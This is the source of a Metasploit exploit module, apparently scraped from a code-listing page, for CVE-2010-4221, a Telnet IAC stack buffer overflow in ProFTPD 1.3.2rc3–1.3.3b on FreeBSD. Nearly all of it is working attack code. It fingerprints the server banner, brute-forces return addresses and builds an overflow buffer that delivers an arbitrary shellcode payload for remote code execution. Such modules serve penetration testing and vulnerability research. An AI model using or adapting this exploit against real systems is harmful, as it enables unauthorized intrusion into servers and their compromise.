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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 | ## # $Id: proftp_telnet_iac.rb 11208 2010-12-02 21:10:03Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)', 'Description'=> %q{ This module exploits a stack-based buffer overflow in versions of ProFTPD server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a large number of Telnet IAC commands, an attacker can corrupt memory and execute arbitrary code. }, 'Author' => [ 'jduck' ], 'Version'=> '$Revision: 11208 $', 'References' => [ ['CVE', '2010-4221'], ['OSVDB', '68985'], ['BID', '44562'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependChrootBreak' => true }, 'Privileged' => true, 'Payload'=> { 'Space'=> 1024, # NOTE: \xff's need to be doubled (per ftp/telnet stuff) 'BadChars' => "\x00\x0a\x0d", 'PrependEncoder' => "\x83\xec\x7f", # sub esp,0x7f (fix esp) }, 'Platform' => [ 'bsd' ], 'Targets'=> [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true }], # # This special one comes first since we dont want its index changing. # [ 'Debug', { 'IACCount' => 8192, # should cause crash writing off end of stack 'Offset' => 0, 'Ret' => 0x41414242, 'Writable' => 0x43434545 } ], # # specific targets # [ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)', { 'IACCount' => 1024, 'Offset' => 0x414, #'Ret' => 0xbfbfeac4, 'Writable' => 0x80e64a4, 'Bruteforce' => { 'Start' => { 'Ret' => 0xbfbffdfc }, 'Stop'=> { 'Ret' => 0xbfa00000 }, 'Step'=> 512 } } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 1 2010')) register_options( [ Opt::RPORT(21), ], self.class ) end def check # NOTE: We don't care if the login failed here... ret = connect # We just want the banner to check against our targets.. print_status("FTP Banner: #{banner.strip}") status = CheckCode::Safe if banner =~ /ProFTPD (1\.3\.[23][^ ])/i ver = $1 maj,min,rel = ver.split('.') relv = rel.slice!(0,1) case relv when '2' if rel.length > 0 if rel[0,2] == 'rc' if rel[2,rel.length].to_i >= 3 status = CheckCode::Vulnerable end else status = CheckCode::Vulnerable end end when '3' # 1.3.3+ defaults to vulnerable (until >= 1.3.3c) status = CheckCode::Vulnerable if rel.length > 0 if rel[0,2] != 'rc' and rel[0,1] > 'b' status = CheckCode::Safe end end end end disconnect return status end def target return @mytarget if @mytarget super end def exploit connect # Use a copy of the target @mytarget = target if (target['auto']) @mytarget = nil print_status("Automatically detecting the target...") if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else raise RuntimeError, "No matching target" end regexp = Regexp.escape(version) self.targets.each do |t| if (t.name =~ /#{regexp}/) then @mytarget = t break end end if (not @mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{@mytarget.name}") pl = exploit_regenerate_payload(@mytarget.platform, arch) if not pl raise RuntimeError, 'Unable to regenerate payload!' end else print_status("Trying target #{@mytarget.name}...") if banner print_status("FTP Banner: #{banner.strip}") end pl = payload end disconnect super end def brute_exploit(addrs) @mytarget ||= target ret = addrs['Ret'] print_status("Trying return address 0x%.8x..." % ret) #puts "attach and press any key"; bleh = $stdin.gets buf = '' buf << 'SITE ' # NOTE: buf must be odd-lengthed prior to here. buf << "\xff" * @mytarget['IACCount'] buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length) buf << [ ret, @mytarget['Writable'] ].pack('V*') buf << payload.encoded buf << "\r\n" connect sock.put(buf) disconnect handler end end |
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